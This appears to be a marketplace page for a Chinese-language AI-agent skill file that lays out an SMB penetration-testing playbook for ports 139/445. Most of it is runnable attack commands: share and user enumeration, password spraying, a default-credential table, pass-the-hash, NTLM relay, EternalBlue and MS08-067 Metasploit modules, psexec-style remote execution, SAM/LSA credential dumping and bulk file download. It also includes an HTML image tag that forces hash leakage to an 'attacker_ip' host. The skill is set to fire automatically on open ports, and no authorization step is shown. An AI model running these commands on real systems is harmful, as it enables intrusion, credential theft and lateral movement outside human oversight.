skills/exploit/network-service/smb-pentesting/SKILL.md
SMB/CIFS 服务(139/445 端口)渗透测试方法论。涵盖 NetBIOS/SMB 服务发现与版本识别、共享枚举与访问、用户和组枚举、凭据攻击(空会话/密码喷洒/哈希传递)、已知漏洞利用(EternalBlue 等)。 当 Agent 扫描发现 139 或 445 端口开放、需要枚举 Windows 域信息、测试 SMB 共享权限、或进行 SMB 相关横向移动时,触发此 Skill。
npx skillsauth add wgpsec/AboutSecurity smb-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
发现 139/445 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ 确定 SMB 版本 (SMBv1 / v2 / v3)
│ ├─ 确定操作系统版本
│ └─ 判断是否域环境
│ ├─ 是 -> 记录域名,进入 Phase 3 深度枚举
│ └─ 否 -> 工作组环境,侧重共享枚举
├─ Phase 2: 共享枚举
│ ├─ 空会话 (null session) 测试
│ │ ├─ 成功 -> 列举所有共享,检查 IPC$/SYSVOL/NETLOGON
│ │ └─ 失败 -> 尝试 guest 账户 -> 尝试已知凭据
│ ├─ 可读共享 -> 下载敏感文件 (Registry.xml / web.config / 脚本)
│ └─ 可写共享 -> 标记用于后续利用 (SCF/LNK 投毒、Logon Script 注入)
├─ Phase 3: 用户与组枚举
│ ├─ RPC 枚举 (rpcclient / enum4linux)
│ ├─ RID 爆破 (lookupsid.py / crackmapexec --rid-brute)
│ └─ LDAP 查询 (ldapsearch, 仅域环境)
├─ Phase 4: 凭据攻击
│ ├─ 密码喷洒 (crackmapexec / hydra)
│ ├─ Pass-the-Hash (smbclient / psexec.py / wmiexec.py)
│ └─ NTLM Relay (Responder + ntlmrelayx)
├─ Phase 5: 漏洞利用
│ ├─ SMBv1 -> 检测 MS17-010 (EternalBlue)
│ ├─ 打印服务 -> PrintNightmare (CVE-2021-34527)
│ └─ 其他 CVE -> 读 references/smb-exploitation.md
└─ Phase 6: 后渗透
├─ 远程命令执行 (psexec / smbexec / wmiexec / atexec)
├─ 凭据提取 (SAM/LSA/LSASS dump)
└─ 横向移动 (通过 SMB 共享传播)
# NetBIOS 网段扫描 — 快速发现 SMB 主机
nbtscan -r 192.168.0.1/24
# Nmap 服务版本探测
nmap -sV -sC -p 139,445 <IP>
# Nmap SMB 专项脚本
nmap --script "safe or smb-enum-*" -p 445 <IP>
识别 SMB 版本
├─ Metasploit: auxiliary/scanner/smb/smb_version
├─ crackmapexec smb <IP> (输出中显示 SMBv1/v2/v3 和 OS)
└─ 手动 tcpdump 捕获 (适用于受限环境)
└─ -> 读 references/smb-enumeration-commands.md #版本识别脚本
关键判断:
# crackmapexec 自动输出 OS 信息
crackmapexec smb <IP>
# enum4linux 完整信息收集
enum4linux -a <IP>
尝试列举共享
├─ 1) 空会话 (null session)
│ ├─ smbclient --no-pass -L //<IP>
│ ├─ smbmap -H <IP>
│ └─ crackmapexec smb <IP> -u '' -p '' --shares
├─ 2) Guest 账户
│ ├─ smbmap -H <IP> -u guest
│ └─ crackmapexec smb <IP> -u 'guest' -p '' --shares
├─ 3) 已知凭据
│ ├─ smbmap -u "user" -p "pass" -H <IP>
│ └─ crackmapexec smb <IP> -u 'user' -p 'pass' --shares
└─ 4) Pass-the-Hash
└─ crackmapexec smb <IP> -u 'user' -H '<NTHASH>' --shares
# 连接到特定共享
smbclient --no-pass //<IP>/<ShareName>
smbclient -U 'user%pass' //<IP>/<ShareName>
# 递归列出共享内容
smbmap -R <ShareName> -H <IP>
smbclient --no-pass -c 'recurse;ls' //<IP>/<ShareName>
默认共享:C$, D$, ADMIN$, IPC$, PRINT$, SYSVOL, NETLOGON
高价值文件:
Registry.xml — 可能含自动登录密码(Group Policy Preferences)web.config — Web 应用凭据SYSVOL 中的脚本 — 域环境下所有认证用户可读,常含明文密码.vmdk / .vhd — 虚拟磁盘,可离线提取哈希SYSVOL 写入测试:即使共享显示只读,NTFS ACL 可能允许写入。用 smbclient 上传测试文件验证,可写则可投毒 logon script 实现 RCE。
-> 读 references/smb-enumeration-commands.md 获取完整的共享枚举命令
# Snaffler — 自动搜索域内敏感文件
Snaffler.exe -s -d domain.local -o snaffler.log -v data
# CrackMapExec spider 模块
crackmapexec smb <IP> -u user -p pass -M spider_plus --share 'ShareName'
用户枚举
├─ 自动化工具 (推荐首选)
│ ├─ enum4linux -a <IP>
│ └─ enum4linux-ng -A <IP>
├─ CrackMapExec
│ ├─ crackmapexec smb <IP> --users
│ ├─ crackmapexec smb <IP> --groups
│ └─ crackmapexec smb <IP> --rid-brute
├─ RPC 枚举 (rpcclient)
│ ├─ rpcclient -U "" -N <IP> # 空会话
│ │ ├─ enumdomusers # 列举域用户
│ │ ├─ enumdomgroups # 列举域组
│ │ ├─ queryuser 0x<RID> # 查询用户详情
│ │ └─ querydispinfo # 显示用户信息
│ └─ -> 读 references/smb-enumeration-commands.md #rpcclient 命令表
├─ SID/RID 爆破
│ ├─ lookupsid.py -no-pass <hostname>
│ └─ Metasploit: auxiliary/scanner/smb/smb_lookupsid
└─ LDAP 查询 (域环境)
└─ ldapsearch -x -b "DC=DOMAIN,DC=LOCAL" -s sub "(&(objectclass=user))" -h <IP>
# 手动 RID 爆破 (500-1100 覆盖内置账户和早期用户)
for i in $(seq 500 1100); do
rpcclient -N -U "" <IP> -c "queryuser 0x$(printf '%x\n' $i)" \
| grep "User Name\|user_rid\|group_rid" && echo ""
done
# Impacket lookupsid
lookupsid.py -no-pass hostname.local
已获得用户名列表
├─ 有明文密码 -> 直接认证,进入 Phase 6
├─ 有 NTLM 哈希 -> Pass-the-Hash
│ ├─ crackmapexec smb <IP> -u user -H <NTHASH>
│ ├─ smbclient -U 'user%hash' --pw-nt-hash //<IP>/share
│ └─ psexec.py -hashes <LM:NT> user@<IP>
├─ 无凭据 -> 密码喷洒
│ ├─ crackmapexec smb <IP> -u users.txt -p 'Password1'
│ └─ hydra -t 1 -V -f -l user -P wordlist.txt <IP> smb
│ 注意: 注意锁定策略!先查询: crackmapexec smb <IP> --pass-pol
└─ 网络位置优越 -> NTLM Relay
├─ Responder 捕获 NTLM 认证
└─ ntlmrelayx.py 中继到目标
└─ -> 读 references/smb-exploitation.md #Relay攻击
| 用户名 | 常见密码 | |--------|---------| | (空) | (空) | | guest | (空) | | Administrator / admin | (空), password, administrator, admin | | arcserve | arcserve, backup | | tivoli / tmersrvd | tivoli, tmersrvd, admin | | backupexec / backup | backupexec, backup, arcada | | test / lab / demo | password, test, lab, demo |
SMB 版本已知
├─ SMBv1 启用
│ ├─ MS17-010 (EternalBlue) — Windows 7/2008R2/XP/2003
│ │ ├─ 检测: nmap --script smb-vuln-ms17-010 -p 445 <IP>
│ │ └─ 利用: Metasploit exploit/windows/smb/ms17_010_eternalblue
│ ├─ MS08-067 — Windows XP/2003
│ │ ├─ 检测: nmap --script smb-vuln-ms08-067 -p 445 <IP>
│ │ └─ 利用: Metasploit exploit/windows/smb/ms08_067_netapi
│ └─ MS06-025 / MS07-029 等旧漏洞
├─ 打印服务 (Spooler) 运行
│ ├─ PrintNightmare (CVE-2021-34527) — 域控 RCE
│ └─ -> 读 references/smb-exploitation.md #PrintNightmare
├─ Samba (Linux)
│ ├─ CVE-2007-2447 — Samba 3.0.20-3.0.25rc3 username map script RCE
│ └─ CVE-2017-7494 — Samba 3.5.0+ 可写共享 RCE (SambaCry)
└─ 批量漏洞扫描
└─ nmap -p 139,445 --script 'smb-vuln*' -Pn <IP>
-> 读 references/smb-exploitation.md 获取完整 CVE 列表和利用细节
拥有有效凭据/哈希 + 管理员权限
├─ psexec.py (创建服务,上传可执行文件到 ADMIN$)
│ └─ psexec.py domain/user:pass@<IP>
│ └─ psexec.py -hashes <LM:NT> admin@<IP>
├─ smbexec.py (通过 cmd.exe,无文件落地)
│ └─ smbexec.py domain/user:pass@<IP>
├─ wmiexec.py (通过 WMI/DCOM,端口 135,更隐蔽)
│ └─ wmiexec.py domain/user:pass@<IP>
├─ atexec.py (通过任务计划程序)
│ └─ atexec.py domain/user:pass@<IP> "command"
└─ crackmapexec (批量执行)
├─ crackmapexec smb <IP> -u admin -p pass -x "whoami" # cmd
└─ crackmapexec smb <IP> -u admin -p pass -X '$PSVersionTable' # PowerShell
# SAM 数据库
crackmapexec smb <IP> -d DOMAIN -u admin -p pass --sam
# LSA Secrets
crackmapexec smb <IP> -d DOMAIN -u admin -p pass --lsa
# 远程注册表读取
reg.py domain/user@<IP> -hashes <LM:NT> query -keyName HKLM -s
# 挂载共享到本地
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=pass" //x.x.x.x/share /mnt/share
# 批量下载共享文件
smbclient //<IP>/<share> -U 'user%pass' -c 'recurse;prompt;mget *'
# 搜索并下载特定文件
smbmap -R Folder -H <IP> -A <FileName> -q
# 时钟同步 (避免 KRB_AP_ERR_SKEW)
sudo ntpdate <dc.fqdn>
# Kerberos 认证
smbclient --kerberos //dc.domain.com/C$
rpcclient -k dc.domain.com
netexec smb <dc.fqdn> -k
获取访问权限后检查 /etc/samba/smb.conf 中的危险配置:
| 配置项 | 风险说明 |
|-------|---------|
| guest ok = yes | 允许无密码访问 |
| read only = no / writable = yes | 允许写入文件 |
| create mask = 0777 | 新文件权限过大 |
| enable privileges = yes | 允许 SID 特权提升 |
| logon script = script.sh | 登录脚本可被篡改 |
# 检查当前连接和会话
smbstatus
当可以控制目标访问的内容时(如 HTML 注入),可触发自动 SMB 认证:
强制 SMB 认证场景
├─ HTML/邮件中嵌入: <img src="\\attacker_ip\share\img.jpg">
├─ Windows URLMon.dll 自动发起 NTLM 认证
├─ Responder 监听捕获 NetNTLMv2 哈希
└─ 后续操作
├─ 离线破解 (hashcat / john)
└─ NTLM Relay 中继到其他服务
-> 读 references/smb-exploitation.md #NTLM窃取与SMBTrap
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能